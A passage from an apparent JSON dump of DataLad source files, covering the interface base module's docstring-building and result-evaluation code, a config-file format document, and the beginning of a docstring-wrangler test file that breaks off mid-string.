intf_doc = intf_doc.format(**interface._docs_)\\n return intf_doc\\n\\n\\ndef dedent_docstring(text):\\n \\\"\\\"\\\"Remove uniform indentation from a multiline docstring\\\"\\\"\\\"\\n # Problem is that first line might often have no offset, so might\\n # need to be ignored from dedent call\\n if text is None:\\n return None\\n if not text.startswith(' '):\\n lines = text.split('\\\\n')\\n if len(lines) == 1:\\n # single line, no indentation, nothing to do\\n return text\\n text2 = '\\\\n'.join(lines[1:])\\n return lines[0] + \\\"\\\\n\\\" + textwrap.dedent(text2)\\n else:\\n return textwrap.dedent(text)\\n\\n\\ndef alter_interface_docs_for_api(docs):\\n \\\"\\\"\\\"Apply modifications to interface docstrings for Python API use.\\\"\\\"\\\"\\n # central place to alter the impression of docstrings,\\n # like removing cmdline specific sections\\n if not docs:\\n return docs\\n docs = dedent_docstring(docs)\\n # clean cmdline sections\\n docs = re.sub(\\n r'\\\\|\\\\| CMDLINE \\\\>\\\\>.*?\\\\<\\\\< CMDLINE \\\\|\\\\|',\\n '',\\n docs,\\n flags=re.MULTILINE | re.DOTALL)\\n # clean cmdline in-line bits\\n docs = re.sub(\\n r'\\\\[CMD:\\\\s.*?\\\\sCMD\\\\]',\\n '',\\n docs,\\n flags=re.MULTILINE | re.DOTALL)\\n docs = re.sub(\\n r'\\\\[PY:\\\\s(.*?)\\\\sPY\\\\]',\\n lambda match: match.group(1),\\n docs,\\n flags=re.MULTILINE | re.DOTALL)\\n # select only the python alternative from argument specifications\\n docs = re.sub(\\n r'``([a-zA-Z0-9_,.]+)\\\\|\\\\|([a-zA-Z0-9-,.]+)``',\\n lambda match: f'``{match.group(1)}``',\\n docs)\\n docs = re.sub(\\n r'\\\\|\\\\| PYTHON \\\\>\\\\>(.*?)\\\\<\\\\< PYTHON \\\\|\\\\|',\\n lambda match: match.group(1),\\n docs,\\n flags=re.MULTILINE | re.DOTALL)\\n if 'DATALAD_SPHINX_RUN' not in os.environ:\\n # remove :role:`...` RST markup for cmdline docs\\n docs = re.sub(\\n r':\\\\S+:`[^`]*`[\\\\\\\\]*',\\n lambda match: ':'.join(match.group(0).split(':')[2:]).strip('`\\\\\\\\'),\\n docs,\\n flags=re.MULTILINE | re.DOTALL)\\n # make the handbook doc references more accessible\\n # the URL is a redirect configured at readthedocs\\n docs = re.sub(\\n r'(handbook:[0-9]-[0-9]*)',\\n '\\\\\\\\1 (http://handbook.datalad.org/symbols)',\\n docs)\\n docs = re.sub(\\n r'^([ ]*)\\\\|\\\\| REFLOW \\\\>\\\\>\\\\n(.*?)\\\\<\\\\< REFLOW \\\\|\\\\|',\\n lambda match: textwrap.fill(match.group(2), subsequent_indent=match.group(1)),\\n docs,\\n flags=re.MULTILINE | re.DOTALL)\\n return docs\\n\\n\\ndef is_api_arg(arg):\\n \\\"\\\"\\\"Return True if argument is our API argument or self or used for internal\\n purposes\\n \\\"\\\"\\\"\\n return arg != 'self' and not arg.startswith('_')\\n\\n\\ndef update_docstring_with_parameters(func, params, prefix=None, suffix=None,\\n add_args=None):\\n \\\"\\\"\\\"Generate a useful docstring from a parameter spec\\n\\n Amends any existing docstring of a callable with a textual\\n description of its parameters. The Parameter spec needs to match\\n the number and names of the callables arguments.\\n \\\"\\\"\\\"\\n from datalad.utils import getargspec\\n\\n # get the signature\\n args, varargs, varkw, defaults = getargspec(func, include_kwonlyargs=True)\\n defaults = defaults or tuple()\\n if add_args:\\n add_argnames = sorted(add_args.keys())\\n args.extend(add_argnames)\\n defaults = defaults + tuple(add_args[k] for k in add_argnames)\\n ndefaults = len(defaults)\\n # start documentation with what the callable brings with it\\n doc = prefix if prefix else u''\\n if len(args) > 1:\\n if len(doc):\\n if not doc.endswith('\\\\n'):\\n doc += '\\\\n'\\n doc += '\\\\n'\\n doc += \\\"Parameters\\\\n----------\\\\n\\\"\\n for i, arg in enumerate(args):\\n if not is_api_arg(arg):\\n continue\\n # we need a parameter spec for each argument\\n if not arg in params:\\n raise ValueError(\\\"function has argument '%s' not described as a parameter\\\" % arg)\\n param = params[arg]\\n # validate the default -- to make sure that the parameter description is\\n # somewhat OK\\n defaults_idx = ndefaults - len(args) + i\\n if defaults_idx >= 0:\\n if param.constraints is not None:\\n param.constraints(defaults[defaults_idx])\\n orig_docs = param._doc\\n param._doc = alter_interface_docs_for_api(param._doc)\\n doc += param.get_autodoc(\\n arg,\\n default=defaults[defaults_idx] if defaults_idx >= 0 else None,\\n has_default=defaults_idx >= 0)\\n param._doc = orig_docs\\n doc += '\\\\n'\\n doc += suffix if suffix else u\\\"\\\"\\n # assign the amended docs\\n func.__doc__ = doc\\n return func\\n\\n\\n# TODO should export code_field and indicator, rather than have modes\\n# TODO this should be a doc helper\\ndef build_example(example, api='python'):\\n \\\"\\\"\\\"Build a code example.\\n\\n Take a dict from a classes _example_ specification (list of dicts) and\\n build a string with an api or cmd example (for use in cmd help or\\n docstring).\\n\\n Parameters\\n ----------\\n api : {'python', 'cmdline'}\\n If 'python', build Python example for docstring. If 'cmdline', build\\n cmd example.\\n\\n Returns\\n -------\\n ex : str\\n Concatenated examples for the given class.\\n \\\"\\\"\\\"\\n if api == 'python' :\\n code_field='code_py'\\n indicator='>'\\n elif api == 'cmdline':\\n code_field='code_cmd'\\n indicator='%'\\n else:\\n raise ValueError(\\\"unknown API selection: {}\\\".format(api))\\n if code_field not in example:\\n # only show an example if it exist for the API\\n return ''\\n description = textwrap.fill(example.get('text'))\\n # this indent the code snippet to get it properly rendered as code\\n # we are not using textwrap.fill(), because it would not acknowledge\\n # any meaningful structure/formatting of code snippets. Instead, we\\n # maintain line content as is.\\n code = dedent_docstring(example.get(code_field))\\n needs_indicator = not code.startswith(indicator)\\n code = textwrap.indent(code, ' ' * (5 if needs_indicator else 3)).lstrip()\\n\\n ex = \\\"\\\"\\\"{}::\\\\n\\\\n {}{}\\\\n\\\\n\\\"\\\"\\\".format(\\n description,\\n # disable automatic prefixing, if the example already has one\\n # this enables providing more complex examples without having\\n # to infer its inner structure\\n '{} '.format(indicator)\\n if needs_indicator\\n # maintain spacing to avoid undesired relative indentation\\n else '',\\n code)\\n\\n return ex\\n\\n\\ndef update_docstring_with_examples(cls_doc, ex):\\n \\\"\\\"\\\"Update a commands docstring with examples.\\n\\n Take _examples_ of a command, build the Python examples, and append\\n them to the docstring.\\n\\n Parameters\\n ----------\\n cls_doc: str\\n docstring\\n ex: list\\n list of dicts with examples\\n \\\"\\\"\\\"\\n from textwrap import indent\\n if len(cls_doc):\\n cls_doc += \\\"\\\\n\\\"\\n cls_doc += \\\" Examples\\\\n --------\\\\n\\\"\\n # loop though provided examples\\n for example in ex:\\n cls_doc += indent(build_example(example, api='python'), ' '*4)\\n\\n return cls_doc\\n\\n\\ndef build_doc(cls, **kwargs):\\n \\\"\\\"\\\"Decorator to build docstrings for datalad commands\\n\\n It's intended to decorate the class, the __call__-method of which is the\\n actual command. It expects that __call__-method to be decorated by\\n eval_results.\\n\\n Note that values for any `eval_params` keys in `cls._params_` are\\n ignored. This means one class may extend another's `_params_`\\n without worrying about filtering out `eval_params`.\\n\\n Parameters\\n ----------\\n cls: Interface\\n DataLad command implementation\\n \\\"\\\"\\\"\\n if datalad.in_librarymode():\\n lgr.debug(\\\"Not assembling DataLad API docs in libary-mode\\\")\\n return cls\\n\\n # Note, that this is a class decorator, which is executed only once when the\\n # class is imported. It builds the docstring for the class' __call__ method\\n # and returns the original class.\\n #\\n # This is because a decorator for the actual function would not be able to\\n # behave like this. To build the docstring we need to access the attribute\\n # _params of the class. From within a function decorator we cannot do this\\n # during import time, since the class is being built in this very moment and\\n # is not yet available in the module. And if we do it from within the part\\n # of a function decorator, that is executed when the function is called, we\\n # would need to actually call the command once in order to build this\\n # docstring.\\n\\n lgr.debug(\\\"Building doc for %s\\\", cls)\\n\\n cls_doc = cls.__doc__\\n if hasattr(cls, '_docs_'):\\n # expand docs\\n cls_doc = cls_doc.format(**cls._docs_)\\n # get examples\\n ex = getattr(cls, '_examples_', [])\\n if ex:\\n cls_doc = update_docstring_with_examples(cls_doc, ex)\\n\\n call_doc = None\\n # suffix for update_docstring_with_parameters:\\n if cls.__call__.__doc__:\\n call_doc = cls.__call__.__doc__\\n\\n # build standard doc and insert eval_doc\\n spec = getattr(cls, '_params_', dict())\\n\\n\\n # update class attributes that may override defaults\\n if not _has_eval_results_call(cls):\\n add_args = None\\n else:\\n # defaults for all common parameters are guaranteed to be available\\n # from the class\\n add_args = {k: getattr(cls, k) for k in eval_params}\\n\\n # ATTN: An important consequence of this update() call is that it\\n # fulfills the docstring's promise of overriding any existing\\n # values for eval_params keys in _params_.\\n #\\n\\n # get docs for eval_results parameters:\\n spec.update(eval_params)\\n\\n update_docstring_with_parameters(\\n cls.__call__, spec,\\n prefix=alter_interface_docs_for_api(cls_doc),\\n suffix=alter_interface_docs_for_api(call_doc),\\n add_args=add_args\\n )\\n\\n if hasattr(cls.__call__, '_dataset_method'):\\n cls.__call__._dataset_method.__doc__ = cls.__call__.__doc__\\n\\n # return original\\n return cls\\n\\n\\nclass Interface(ABC):\\n '''Abstract base class for DataLad command implementations\\n\\n Any DataLad command implementation must be derived from this class. The\\n code snippet below shows a complete sketch of a Python class with such an\\n implementation.\\n\\n Importantly, no instances of command classes will created. Instead the main\\n entry point is a static ``__call__()`` method, which must be implemented\\n for any command. It is incorporated as a function in :mod:`datalad.api`, by\\n default under the name of the file the implementation resides (e.g.,\\n ``command`` for a ``command.py`` file). Therefore the file should have a\\n name that is a syntax-compliant function name. The default naming rule can\\n be overwritten with an explicit alternative name (see\\n :func:`datalad.interface.base.get_api_name`).\\n\\n For commands implementing functionality that is operating on DataLad\\n datasets, a command can be also be bound to the\\n :class:`~datalad.distribution.dataset.Dataset` class as a method using\\n the ``@datasetmethod`` decorator, under the specified name.\\n\\n Any ``__call__()`` implementation should be decorated with\\n :func:`datalad.interface.utils.eval_results`. This adds support for\\n standard result processing, and a range of common command parameters that\\n do not need to be manually added to the signature of ``__call__()``. Any\\n implementation decorated in this way should be implemented as a generator,\\n and ``yield`` :ref:`result records <chap_design_result_records>`.\\n\\n Any argument or keyword argument that appears in the signature of\\n ``__call__()`` must have a matching item in :attr:`Interface._params_`.\\n The dictionary maps argument names to\\n :class:`datalad.support.param.Parameter` specifications. The specification\\n contain CLI argument declarations, value constraint and data type\\n conversation specifications, documentation, and optional\\n ``argparse``-specific arguments for CLI parser construction.\\n\\n The class decorator :func:`datalad.interface.base.build_doc` inspects an\\n :class:`Interface` implementation, and builds a standard docstring from\\n various sources of structured information within the class (also see\\n below). The documentation is automatically tuned differently, depending on\\n the target API (Python vs CLI).\\n\\n .. code:: python\\n\\n @build_doc\\n class ExampleCommand(Interface):\\n \\\"\\\"\\\"SHORT DESCRIPTION\\n\\n LONG DESCRIPTION\\n ...\\n \\\"\\\"\\\"\\n\\n # COMMAND PARAMETER DEFINITIONS\\n _params_ = dict(\\n example=Parameter(\\n args=(\\\"--example\\\",),\\n doc=\\\"\\\"\\\"Parameter description....\\\"\\\"\\\",\\n constraints=...),\\n ...\\n )\\n )\\n\\n # RESULT PARAMETER OVERRIDES\\n return_type= 'list'\\n ...\\n\\n # USAGE EXAMPLES\\n _examples_ = [\\n dict(text=\\\"Example description...\\\",\\n code_py=\\\"Example Python code...\\\",\\n code_cmd=\\\"Example shell code ...\\\"),\\n ...\\n ]\\n\\n @staticmethod\\n @datasetmethod(name='example_command')\\n @eval_results\\n def __call__(example=None, ...):\\n ...\\n\\n yield dict(...)\\n\\n The basic implementation setup described above can be customized for\\n individual commands in various way that alter the behavior and\\n presentation of a specific command. The following overview uses\\n the code comment markers in the above snippet to illustrate where\\n in the class implementation these adjustments can be made.\\n\\n (SHORT/LONG) DESCRIPTION\\n\\n ``Interface.short_description`` can be defined to provide an\\n explicit short description to be used in documentation and help output,\\n replacing the auto-generated extract from the first line of the full\\n description.\\n\\n COMMAND PARAMETER DEFINITIONS\\n\\n When a parameter specification declares ``Parameter(args=tuple(), ...)``,\\n i.e. no arguments specified, it will be ignored by the CLI. Likewise, any\\n ``Parameter`` specification for which :func:`is_api_arg` returns ``False``\\n will also be ignored by the CLI. Additionally, any such parameter will\\n not be added to the parameter description list in the Python docstring.\\n\\n RESULT PARAMETER OVERRIDES\\n\\n The :func:`datalad.interface.utils.eval_results` decorator automatically\\n add a range of additional arguments to a command, which are defined in\\n :py:data:`datalad.interface.common_opts.eval_params`. For any such\\n parameter an Interface implementation can define an interface-specific\\n default value, by declaring a class member with the respective parameter\\n name and the desired default as its assigned value. This feature can be\\n used to tune the default command behavior, for example, with respect to the\\n default result rendering style, or its error behavior.\\n\\n In addition to the common parameters of the Python API, an additional\\n ``Interface.result_renderer_cmdline`` can be defined, in order to\\n instruct the CLI to prefer the specified alternative result renderer\\n over an ``Interface.result_renderer`` specification.\\n\\n USAGE EXAMPLES\\n\\n Any number of usage examples can be described in an ``_examples_`` list\\n class attribute. Such an example contains a description, and code examples\\n for Python and CLI.\\n '''\\n _params_ = {}\\n\\n @abstractmethod\\n def __call__():\\n \\\"\\\"\\\"Must be implemented by any command\\\"\\\"\\\"\\n\\n # https://github.com/datalad/datalad/issues/6376\\n @classmethod\\n def get_refds_path(cls, dataset):\\n \\\"\\\"\\\"Return a resolved reference dataset path from a `dataset` argument\\n\\n .. deprecated:: 0.16\\n Use ``require_dataset()`` instead.\\n \\\"\\\"\\\"\\n # theoretically a dataset could come in as a relative path -> resolve\\n if dataset is None:\\n return dataset\\n refds_path = dataset.path if isinstance(dataset, Dataset) \\\\\\n else Dataset(dataset).path\\n if refds_path:\\n refds_path = str(resolve_path(refds_path))\\n return refds_path\\n\\n\\n# pull all defaults from all eval_results() related parameters and assign them\\n# as attributes to the class, which then becomes the one place to query for\\n# default and potential overrides\\nfor k, p in eval_params.items():\\n setattr(Interface,\\n # name is always given\\n k,\\n # but there may be no default (rather unlikely, though)\\n p.cmd_kwargs.get('default', None))\\n\\n\\ndef get_allargs_as_kwargs(call, args, kwargs):\\n \\\"\\\"\\\"Generate a kwargs dict from a call signature and ``*args``, ``**kwargs``\\n\\n Basically resolving the argnames for all positional arguments, and\\n resolving the defaults for all kwargs that are not given in a kwargs\\n dict\\n \\\"\\\"\\\"\\n from datalad.utils import getargspec\\n argspec = getargspec(call, include_kwonlyargs=True)\\n defaults = argspec.defaults\\n nargs = len(argspec.args)\\n defaults = defaults or [] # ensure it is a list and not None\\n assert (nargs >= len(defaults))\\n # map any args to their name\\n argmap = list(zip(argspec.args[:len(args)], args))\\n kwargs_ = dict(argmap)\\n # map defaults of kwargs to their names (update below)\\n for k, v in zip(argspec.args[-len(defaults):], defaults):\\n if k not in kwargs_:\\n kwargs_[k] = v\\n # update with provided kwarg args\\n kwargs_.update(kwargs)\\n # XXX we cannot assert the following, because our own highlevel\\n # API commands support more kwargs than what is discoverable\\n # from their signature...\\n #assert (nargs == len(kwargs_))\\n return kwargs_\\n\\n\\n# Only needed to support command implementations before the introduction\\n# of @eval_results\\ndef _has_eval_results_call(cls):\\n \\\"\\\"\\\"Return True if cls has a __call__ decorated with @eval_results\\n \\\"\\\"\\\"\\n return getattr(getattr(cls, '__call__', None), '_eval_results', False)\\n\\n\\ndef eval_results(wrapped):\\n \\\"\\\"\\\"Decorator for return value evaluation of datalad commands.\\n\\n Note, this decorator is only compatible with commands that return\\n status dict sequences!\\n\\n Two basic modes of operation are supported: 1) \\\"generator mode\\\" that\\n `yields` individual results, and 2) \\\"list mode\\\" that returns a sequence of\\n results. The behavior can be selected via the kwarg `return_type`.\\n Default is \\\"list mode\\\".\\n\\n This decorator implements common functionality for result rendering/output,\\n error detection/handling, and logging.\\n\\n Result rendering/output configured via the `result_renderer` keyword\\n argument of each decorated command. Supported modes are: 'generic' (a\\n generic renderer producing one line per result with key info like action,\\n status, path, and an optional message); 'json' (a complete JSON line\\n serialization of the full result record), 'json_pp' (like 'json', but\\n pretty-printed spanning multiple lines), 'tailored' custom output\\n formatting provided by each command class (if any), or 'disabled' for\\n no result rendering.\\n\\n Error detection works by inspecting the `status` item of all result\\n dictionaries. Any occurrence of a status other than 'ok' or 'notneeded'\\n will cause an IncompleteResultsError exception to be raised that carries\\n the failed actions' status dictionaries in its `failed` attribute.\\n\\n Status messages will be logged automatically, by default the following\\n association of result status and log channel will be used: 'ok' (debug),\\n 'notneeded' (debug), 'impossible' (warning), 'error' (error). Logger\\n instances included in the results are used to capture the origin of a\\n status report.\\n\\n Parameters\\n ----------\\n func: function\\n __call__ method of a subclass of Interface,\\n i.e. a datalad command definition\\n \\\"\\\"\\\"\\n\\n @wraps(wrapped)\\n def eval_func(*args, **kwargs):\\n lgr.log(2, \\\"Entered eval_func for %s\\\", wrapped)\\n # determine the command class associated with `wrapped`\\n wrapped_class = get_wrapped_class(wrapped)\\n\\n # retrieve common options from kwargs, and fall back on the command\\n # class attributes, or general defaults if needed\\n kwargs = kwargs.copy() # we will pop, which might cause side-effect\\n common_params = {\\n p_name: kwargs.pop(\\n # go with any explicitly given default\\n p_name,\\n # otherwise determine the command class and pull any\\n # default set in that class\\n getattr(wrapped_class, p_name))\\n for p_name in eval_params}\\n\\n # short cuts and configured setup for common options\\n return_type = common_params['return_type']\\n\\n if return_type == 'generator':\\n # hand over the generator\\n lgr.log(2,\\n \\\"Returning generator_func from eval_func for %s\\\",\\n wrapped_class)\\n return _execute_command_(\\n interface=wrapped_class,\\n cmd=wrapped,\\n cmd_args=args,\\n cmd_kwargs=kwargs,\\n exec_kwargs=common_params,\\n )\\n else:\\n @wraps(_execute_command_)\\n def return_func(*args_, **kwargs_):\\n results = _execute_command_(\\n interface=wrapped_class,\\n cmd=wrapped,\\n cmd_args=args,\\n cmd_kwargs=kwargs,\\n exec_kwargs=common_params,\\n )\\n if inspect.isgenerator(results):\\n # unwind generator if there is one, this actually runs\\n # any processing\\n results = list(results)\\n if return_type == 'item-or-list' and \\\\\\n len(results) < 2:\\n return results[0] if results else None\\n else:\\n return results\\n\\n lgr.log(2,\\n \\\"Returning return_func from eval_func for %s\\\",\\n wrapped_class)\\n return return_func(*args, **kwargs)\\n\\n ret = eval_func\\n ret._eval_results = True\\n return ret\\n\\n\\ndef _execute_command_(\\n *,\\n interface: anInterface,\\n cmd: Callable[..., Generator[Dict, None, None]],\\n cmd_args: tuple,\\n cmd_kwargs: Dict,\\n exec_kwargs: Dict,\\n) -> Generator[Dict, None, None]:\\n \\\"\\\"\\\"Internal helper to drive a command execution generator-style\\n\\n Parameters\\n ----------\\n interface:\\n Interface class of associated with the `cmd` callable\\n cmd:\\n A DataLad command implementation. Typically the `__call__()` of\\n the given `interface`.\\n cmd_args:\\n Positional arguments for `cmd`.\\n cmd_kwargs:\\n Keyword arguments for `cmd`.\\n exec_kwargs:\\n Keyword argument affecting the result handling.\\n See `datalad.interface.common_opts.eval_params`.\\n \\\"\\\"\\\"\\n # for result filters and validation\\n # we need to produce a dict with argname/argvalue pairs for all args\\n # incl. defaults and args given as positionals\\n allkwargs = get_allargs_as_kwargs(\\n cmd,\\n cmd_args,\\n {**cmd_kwargs, **exec_kwargs},\\n )\\n\\n # validate the complete parameterization\\n _validate_cmd_call(interface, allkwargs)\\n\\n # look for potential override of logging behavior\\n result_log_level = dlcfg.get('datalad.log.result-level', 'debug')\\n # resolve string labels for transformers too\\n result_xfm = known_result_xfms.get(\\n allkwargs['result_xfm'],\\n # use verbatim, if not a known label\\n allkwargs['result_xfm'])\\n result_filter = get_result_filter(allkwargs['result_filter'])\\n result_renderer = allkwargs['result_renderer']\\n if result_renderer == 'tailored' and not hasattr(interface,\\n 'custom_result_renderer'):\\n # a tailored result renderer is requested, but the class\\n # does not provide any, fall back to the generic one\\n result_renderer = 'generic'\\n if result_renderer == 'default':\\n # standardize on the new name 'generic' to avoid more complex\\n # checking below\\n result_renderer = 'generic'\\n\\n # figure out which hooks are relevant for this command execution\\n # query cfg for defaults\\n # .is_installed and .config can be costly, so ensure we do\\n # it only once. See https://github.com/datalad/datalad/issues/3575\\n dataset_arg = allkwargs.get('dataset', None)\\n ds = None\\n if dataset_arg is not None:\\n from datalad.distribution.dataset import Dataset\\n if isinstance(dataset_arg, Dataset):\\n ds = dataset_arg\\n else:\\n try:\\n ds = Dataset(dataset_arg)\\n except ValueError:\\n pass\\n # look for hooks\\n hooks = get_jsonhooks_from_config(ds.config if ds else dlcfg)\\n # end of hooks discovery\\n\\n # flag whether to raise an exception\\n incomplete_results = []\\n # track what actions were performed how many times\\n action_summary = {}\\n\\n # if a custom summary is to be provided, collect the results\\n # of the command execution\\n results = []\\n do_custom_result_summary = result_renderer in (\\n 'tailored', 'generic', 'default') and hasattr(\\n interface,\\n 'custom_result_summary_renderer')\\n pass_summary = do_custom_result_summary \\\\\\n and getattr(interface,\\n 'custom_result_summary_renderer_pass_summary',\\n None)\\n\\n # process main results\\n for r in _process_results(\\n # execution\\n cmd(*cmd_args, **cmd_kwargs),\\n interface,\\n allkwargs['on_failure'],\\n # bookkeeping\\n action_summary,\\n incomplete_results,\\n # communication\\n result_renderer,\\n result_log_level,\\n # let renderers get to see how a command was called\\n allkwargs):\\n for hook, spec in hooks.items():\\n # run the hooks before we yield the result\\n # this ensures that they are executed before\\n # a potentially wrapper command gets to act\\n # on them\\n if match_jsonhook2result(hook, r, spec['match']):\\n lgr.debug('Result %s matches hook %s', r, hook)\\n # a hook is also a command that yields results\\n # so yield them outside too\\n # users need to pay attention to void infinite\\n # loops, i.e. when a hook yields a result that\\n # triggers that same hook again\\n for hr in run_jsonhook(hook, spec, r, dataset_arg):\\n # apply same logic as for main results, otherwise\\n # any filters would only tackle the primary results\\n # and a mixture of return values could happen\\n if not keep_result(hr, result_filter, **allkwargs):\\n continue\\n hr = xfm_result(hr, result_xfm)\\n # rationale for conditional is a few lines down\\n if hr:\\n yield hr\\n if not keep_result(r, result_filter, **allkwargs):\\n continue\\n r = xfm_result(r, result_xfm)\\n # in case the result_xfm decided to not give us anything\\n # exclude it from the results. There is no particular reason\\n # to do so other than that it was established behavior when\\n # this comment was written. This will not affect any real\\n # result record\\n if r:\\n yield r\\n\\n # collect if summary is desired\\n if do_custom_result_summary:\\n results.append(r)\\n\\n # result summary before a potential exception\\n # custom first\\n if do_custom_result_summary:\\n if pass_summary:\\n summary_args = (results, action_summary)\\n else:\\n summary_args = (results,)\\n interface.custom_result_summary_renderer(*summary_args)\\n elif result_renderer in ('generic', 'default') \\\\\\n and action_summary \\\\\\n and sum(sum(s.values())\\n for s in action_summary.values()) > 1:\\n # give a summary in generic mode, when there was more than one\\n # action performed\\n render_action_summary(action_summary)\\n\\n if incomplete_results:\\n raise IncompleteResultsError(\\n failed=incomplete_results,\\n msg=\\\"Command did not complete successfully\\\")\\n\\n\\ndef _validate_cmd_call(interface: anInterface, kwargs: Dict) -> None:\\n \\\"\\\"\\\"Validate a parameterization of a command call\\n\\n This is called by `_execute_command_()` before a command call, with\\n the respective Interface sub-type of the command, and all its\\n arguments in keyword argument dict style. This dict also includes\\n the default values for any parameter that was not explicitly included\\n in the command call.\\n\\n This expected behavior is to raise an exception whenever an invalid\\n parameterization is encountered.\\n\\n This default implementation performs no validation.\\n \\\"\\\"\\\"\\n pass\\n\"\n },\n {\n \"alpha_fraction\": 0.7572148442268372,\n \"alphanum_fraction\": 0.7572148442268372,\n \"avg_line_length\": 34.78688430786133,\n \"blob_id\": \"fd748ab0f648334dc2bd60209ac38a35d81c7e3c\",\n \"content_id\": \"7857be225537cb048b57341c2b17ad2da01eeea4\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 2183,\n \"license_type\": \"permissive\",\n \"max_line_length\": 77,\n \"num_lines\": 61,\n \"path\": \"/docs/config-format.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Config file format\\n==================\\n\\nIncludes\\n--------\\n\\n:mod:`~datalad.config` enhances class:`~ConfigParser.SafeConfigParser`\\nto also support includes. It makes it possible to specify within the\\n`INCLUDES` section of the config file which other config file should\\nbe considered before or after a currently read config file::\\n\\n [INCLUDES]\\n before = defaults.cfg\\n after = customizations.cfg\\n\\n [DEFAULTS]\\n ....\\n\\nSections\\n--------\\n\\nDownload section\\n~~~~~~~~~~~~~~~~\\n\\nIt is the only type of a section at this point. It specifies a single\\nresource which crawl/monitor and fetch specified content to be\\ndeposited into the git/git-annex repository. Following fields are\\nknown and could either be specified in the specific section or in\\n`DEFAULT` section to be reused across different sections\\n\\nmode\\n Could be `download`, `fast` or `relaxed`. In `download` mode files\\n are downloaded, and added to the git-annex, thus based on a checksum\\n backend. `fast` and `relaxed` modes correspond to the modes of `git\\n annex addurl`\\nincoming\\n Path to the `incoming` repository -- where everything gets initially\\n imported, e.g. original archives. If no archives to be extracted,\\n it usually then matches with `public`. Original idea for such a\\n separation was to cover the cases where incoming materials\\n (archives) might contain some non-distributable materials which\\n should be stripped before being placed into `public` repository\\npublic\\n Path to the `public` repository which is the target repository to be\\n shared\\ndescription\\n Textual description to be placed under :file:`.git/description`\\ninclude_href\\n Regular expression to specify which URLs, pointed to by HTML `<A>`\\n should be considered to be added to the repository\\ninclude_href_a\\n Regular expression to specify which links with matching text should\\n be considered\\nexclude_href, exclude_href_a\\n Similar setups to specify which ones to exclude (e.g. if `include_href=.*`)\\nrecurse\\n Regular expression to specify which URLs to consider for further\\n traversal while crawling the website\\n\\nTODO. Some additional documentation is currently within\\n:meth:`datalad.config.EnhancedConfigParser.get_default`\\n\"\n },\n {\n \"alpha_fraction\": 0.6086508631706238,\n \"alphanum_fraction\": 0.6104531288146973,\n \"avg_line_length\": 30.07200050354004,\n \"blob_id\": \"abc0ae52d01f7c87f0d35b1afd4e75636e0436f3\",\n \"content_id\": \"7dda2fab5f93dbcb0dc83db262aa777eee7ccd67\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3884,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 125,\n \"path\": \"/datalad/interface/tests/test_docs.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Tests for interface doc wranglers.\\n\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nfrom datalad.interface.base import (\\n alter_interface_docs_for_api,\\n dedent_docstring,\\n)\\nfrom datalad.tests.utils_pytest import (\\n assert_false,\\n assert_in,\\n assert_not_in,\\n)\\n\\ndemo_doc = \\\"\\\"\\\"\\\\\\n Bla bla summary\\n\\n Generic intro blurb. Ping pong ping pong ping pong ping pong. Ping pong ping\\n pong ping pong ping pong. Ping pong ping pong ping pong ping pong. Ping pong\\n ping pong ping pong ping pong. Ping pong ping pong ping pong ping pong. Ping\\n pong ping pong ping pong ping pong.\\n\\n || CMDLINE >>\\n || REFLOW >>\\n Something for the cmdline only\\n Multiline!\\n << REFLOW ||\\n << CMDLINE ||\\n\\n || REFLOW >>\\n a\\n b\\n << REFLOW ||\\n not\\n reflowed\\n || REFLOW >>\\n c\\n << REFLOW ||\\n\\n || PYTHON >>\\n\\n || REFLOW >>\\n Some Python-only bits\\n Multiline!\\n << REFLOW ||\\n\\n << PYTHON ||\\n\\n And an example for in-line markup: [PY: just for Python PY] and\\n the other one [CMD: just for the command line CMD]. [PY: multiline\\n python-only with [ brackets [] ] PY][CMD: multiline cli-only with [ brackets\\n [] ] CMD]. End of demo.\\n\\n Generic appendix. Ding dong ding dong ding dong. Ding dong ding dong ding\\n dong. Ding dong ding dong ding dong. Ding dong ding dong ding dong. Ding\\n dong ding dong ding dong.\\n\\n\\\"\\\"\\\"\\n\\ndemo_paramdoc = \\\"\\\"\\\"\\\\\\n\\n Parameters\\n ----------\\n dataset : Dataset or None, optional\\n something [PY: python only PY] in between [CMD: cmdline only CMD] appended\\n Brackets can also be within and we can deal with [PY: multiline\\n python-only with [ some brackets [] PY] [CMD: multiline cli-only [\\n brackets included [ can we also have || ?] CMD].\\n dataset is given, an attempt is made to identify the dataset based\\n Dataset (e.g. a path), or value must be `None`. [Default: None]\\n\\\"\\\"\\\"\\n\\ndemo_argdoc = \\\"\\\"\\\"\\\\\\n specify the dataset to perform the install operation\\n on. If no dataset is given, an attempt is made to\\n identify the dataset based on the current working\\n directory and/or the `path` given. Constraints: Value\\n must be a Dataset or a valid identifier of a Dataset\\n (e.g. a path), or value must be `None`. [Default:\\n None]\\n\\\"\\\"\\\"\\n\\n\\ndef test_dedent():\\n assert_false(dedent_docstring(\\\"one liner\\\").endswith(\\\"\\\\n\\\"))\\n\\n\\ndef test_alter_interface_docs_for_api():\\n alt = alter_interface_docs_for_api(demo_doc)\\n alt_l = alt.split('\\\\n')\\n # de-dented\\n assert_false(alt_l[0].startswith(' '))\\n assert_false(alt_l[-1].startswith(' '))\\n assert_not_in('CMD', alt)\\n assert_not_in('PY', alt)\\n assert_not_in('REFLOW', alt)\\n assert_in('a b', alt)\\n assert_in('not\\\\n reflowed', alt)\\n assert_in(\\\"Some Python-only bits Multiline!\\\", alt)\\n assert_in(\\\"Some Python-only bits\\\", alt)\\n assert_in(\\\"just for 